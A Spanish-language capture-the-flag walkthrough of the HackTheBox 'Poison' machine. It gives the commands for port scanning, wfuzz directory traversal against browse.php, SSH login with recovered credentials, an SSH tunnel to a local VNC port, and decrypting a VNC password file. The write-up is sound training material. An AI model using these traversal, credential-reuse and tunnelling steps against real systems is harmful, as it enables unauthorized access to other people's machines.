Poison - HackTheBox

Featured image

En esta ocasión estaré resolviendo una máquina de nivel MEDIUM de HackTheBox en la que tendremos que explotar la vulnerabilidad Directory Path Transversal y a través de procesos en ejecución encontraremos el servicio VNC y tendremos que crear un Túnel ssh para acceder al mismo.

HTBadge

Un pequeño INDICE

  1. Reconocimiento.
  2. Enumeración.
  3. Sesión SSH.
  4. Escalada de Privilegios.

Reconocimiento #

Reconocimiento de Puertos 📌

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Tenemos el puerto 22 (ssh) y el puertto 80 (http)

Escaneo un poco más a fondo para encontrar más información al respecto.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Enumeración #

Enumeración Web 📌

Al acceder desde el navegador para revisar el servidor web vemos lo siguiente:

Si añadimos en el campo el parámetro listfiles.php

Podemos ver que hay un archivo llamado pwdbackup.txt

En el hay una contraseña encodeada en base64 13 veces.

Tras decodear la cadena base64 13 veces encontramos la contraseña.

Charix!2#4%6&8(0

Tenemos una contraseña pero aún nos falta un usuario, asique al ver que en el servidor web tenemos muchos archivos .php procedo a comprobar si podría existir alguna vulnerabilidad LFI o Directory Transversal.

A través de un diccionario y la herramienta wfuzz compruebo si existe alguna de estas vulnerabilidades.

wfuzz -c -w /usr/share/payloadsallthethings/"Directory Traversal"/Intruder/dotdotpwn.txt -u 'http://10.10.10.84/browse.php?file=FUZZ' --hl=4,2

Todas esas rutas podríamos usar para leer el archivo passwd.

Tenemos el usuario Charix y su contraseña.

Charix:Charix!2#4%6&8(0

Ahora intento logarme con esas credenciales a través de ssh para obtener acceso al sistema.

Sesión SSH #

SSH 🔥

Una vez nos logamos podemos leer la flag user.txt

Escalada de Privilegios #

VNC 👽

Ahora toca escalar privilegios para leer la flag root.txt

En el directorio de usuario de Charix tenemos un archivo llamado secret.zip

Nos lo descargamos a nuestra máquina atacante

❯ scp charix@10.10.10.84:/home/charix/secret.zip .
Password for charix@Poison:
secret.zip

Y lo descomprimimos usando la contraseña que usamos para conectarnos por ssh.

Tenemos caracteres no legibles, lo que me hace pensar que estoy yendo por el camino equivocado.

Dejo a un lado el archivo y enumero más vectores de escalada.

Miro los procesos existentes en ejecución con el comando ps aux

root   529   0.0  0.9  23620  8872 v0- I    22:34    0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -d
charix@Poison:~ % netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0 10.10.10.84.22         10.10.14.3.54562       ESTABLISHED
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN
udp4       0      0 *.514                  *.*                    
udp6       0      0 *.514                  *.*                    
Active UNIX domain sockets

Tenemos el servicio VNC activo en el puerto 5901, asique para poder conectarme he de crear un tunel a través de ssh.

Para crear el túnel:

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

Una vez creado ya puedo conectarme al servicio VNC a través de la herramienta vncviewer.

Podéis descargar la herramienta VNCViewer desde aquí https://www.realvnc.com/es/connect/download/viewer/linux/

Lo descargo e intento conectarme pero me pide una contraseña, pruebo con la del usuario Charix pero no funciona.

Pruebo introduciendo los datos del archivo secret que unzipeamos pero nada, asique se me ocurre probar con secret (el nombre del archivo).

Pero tampoco hay suerte… asique intento decodificar el contenido del archivo secret.

Encuentro esta herramienta https://github.com/trinitronx/vncpasswd.py

La consigo decodificar…

❯ python2 vncpasswd.py -d -f /home/elc4br4/secret
Decrypted Bin Pass= 'VNCP@$$!'
Decrypted Hex Pass= '564e435040242421'

Y ya puedo conectarme.

vncviewer 127.0.0.1:5901 -passwd VNCP@$$!